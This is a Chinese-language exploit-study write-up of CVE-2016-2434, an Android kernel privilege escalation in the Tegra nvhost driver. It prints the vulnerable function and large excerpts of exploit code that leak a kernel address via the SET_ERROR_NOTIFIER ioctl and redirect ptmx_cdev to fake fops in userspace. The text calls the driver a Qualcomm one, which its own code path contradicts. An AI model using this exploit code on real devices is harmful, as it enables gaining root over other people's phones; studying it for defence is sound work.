EXP学习--CVE-2016-2434

编号: CVE-2016-2434
EXP: GitHub
EXP作者: jianqiangzhao


漏洞原理

这是同样是一个高通驱动中的权限提升漏洞,类似的漏洞还还有cve-2016-2435等几个.
代码位置:drivers/video/tegra/host/bus_client.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static int nvhost_init_error_notifier(struct nvhost_channel *ch,
struct nvhost_set_error_notifier *args) {
void *va;
struct dma_buf *dmabuf;
if (!args->mem) {
dev_err(&ch->dev->dev, "invalid memory handle\n");
return -EINVAL;
}
dmabuf = dma_buf_get(args->mem);
if (ch->error_notifier_ref)
nvhost_free_error_notifiers(ch);
if (IS_ERR(dmabuf)) {
dev_err(&ch->dev->dev, "Invalid handle: %d\n", args->mem);
return -EINVAL;
}
/* map handle */
va = dma_buf_vmap(dmabuf);
if (!va) {
dma_buf_put(dmabuf);
dev_err(&ch->dev->dev, "Cannot map notifier handle\n");
return -ENOMEM;
}
/* set channel notifiers pointer */
ch->error_notifier_ref = dmabuf;
ch->error_notifier = va + args->offset; // args can be control
ch->error_notifier_va = va;
memset(ch->error_notifier, 0, sizeof(struct nvhost_notification));
return 0;
}

函数在结尾的地方将ch->error_notifier置零,ch->error_notifier的值即va + args->offset,而args是可以被控制的。

漏洞利用

获取VA

由于置零的位置不是完全由args控制,还需要一个偏移va,首先需要确定va的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
map = mmap(NULL, (size_t)0x10000000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0); // alloc a large mem
........
if(map == MAP_FAILED) {
printf("[-] Failed to mmap landing (%d-%s)\n", errno, strerror(errno));
ret = -1;
goto out;
}
printf("[+] landing mmap'ed @ %p\n", map);
memset(map, 0xff, 0x10000000); // set all mem to 0xff
fd = open("/dev/nvhost-vic", O_RDONLY);
if(fd == -1) {
printf("[-] Open nvhost-vic fail (%s - %d)\n", strerror(errno), errno);
ret = -1;
goto open_vic_out;
}
printf("[+] open device nvhost-vic\n");
memset(&arg, 0, sizeof(arg));
arg.mem = nvmap_handle;
arg.offset = (unsigned long)map - 0xffffff8000000000; //adjust address with userspace start
arg.size = 0;
cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;
ret = ioctl(fd, cmd, &arg); // call vul ioctl
if(ret == -1) {
printf("[-] Ioctl nvhost-vic fail(%s - %d)\n", strerror(errno), errno);
goto ioctl_out;
}
for(i=0; i<0x10000000/8; i++) { //find zero offset .aka va
tmp = *((unsigned long*)map + i);
if(tmp == 0) {
break;
}
}
va = 0xffffff8000000000 + i * 8;
printf("[+] va position: 0x%lx\n", va);
.........

步骤:

  • 1.分配以大段内存,并全部置为ff
  • 2.调用存在漏洞的ioctl,将一部分数据置零
  • 3.查找分配内存中的0,前面部分的数据即为VA

控制ptmx_cdev

由于有PXN的限制,直接将内核函数指针指向用户地址的payload的方法不可行,需要用其他的方法。EXP将内核结构题,ptmx_cdev的地址指向用户态,控制其中的函数指针指向内核中的ROP。由于针对特地设备,内核中关键符号的地址已经hardcode在exp中。
(关于如何在内核中定位符号可以查看我之前的文章内核符号获取)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
.........
map2 = mmap((void *)0x00010000, (size_t)0x10000000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, -1, (off_t)0);
if(map2 == MAP_FAILED) {
ret = -1;
printf("[-] shellcode mmap failed (%d-%s)\n", errno, strerror(errno));
goto ioctl_out;
}
printf("[+] prepare fake_ptmx_fops, mmap'ed @ %p.\n", map2);
memset(map2, 0, 0x10000000);
fake_ptmx_fops = PTMX_FOPS & 0xffffffff; //fake PTMX_FOPS
*(unsigned long*)(fake_ptmx_fops + 1 * 8) = PTMX_LLSEEK;
*(unsigned long*)(fake_ptmx_fops + 2 * 8) = PTMX_READ;
*(unsigned long*)(fake_ptmx_fops + 3 * 8) = PTMX_WRITE;
*(unsigned long*)(fake_ptmx_fops + 8 * 8) = PTMX_POLL;
*(unsigned long*)(fake_ptmx_fops + 9 * 8) = PTMX_IOCTL;
*(unsigned long*)(fake_ptmx_fops + 10 * 8) = COMPAT_PTMX_IOCTL;
*(unsigned long*)(fake_ptmx_fops + 12 * 8) = PTMX_OPEN;
*(unsigned long*)(fake_ptmx_fops + 14 * 8) = PTMX_RELEASE;
*(unsigned long*)(fake_ptmx_fops + 17 * 8) = PTMX_FASYNC;
printf("[+] clear ptmx_cdev list first\n");
memset(&arg, 0, sizeof(arg));
arg.mem = nvmap_handle;
arg.offset = PTMX_MISC - va + 8 * 10;
arg.size = 0;
//set the high 32 bit of ptmx_fops to zero
cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER; //it will point to fake ptmx_fops in userspace
ret = ioctl(fd, cmd, &arg);
if(ret == -1) {
printf("[-] Ioctl nvhost-vic fail(%s - %d)\n", strerror(errno), errno);
goto ioctl_out_2;
}
printf("[+] overwrite ptmx_cdev ops\n");
memset(&arg, 0, sizeof(arg));
arg.mem = nvmap_handle;
arg.offset = PTMX_MISC - va + 8 * 10 - 4;
arg.size = 0;
cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;
ret = ioctl(fd, cmd, &arg);
if(ret == -1) {
printf("[-] Ioctl nvhost-vic fail(%s - %d)\n", strerror(errno), errno);
goto ioctl_out_2;
}
...........

步骤:

  • 1.在用户空间中部署一个伪造的ptmx_fops
  • 2.通过漏洞将内核ptmx_cdev指向用户态的伪造ptmx_fops
  • 3.修改伪造ptmx_fops中某些函数指针,指向内核中的rop,获得内核任意读写能力(这一步不在上面代码中,在使用时部署。在kernel_read_32/kernel_write_32函数中)

提权

提权部分依旧是查找cred并修改,不分析了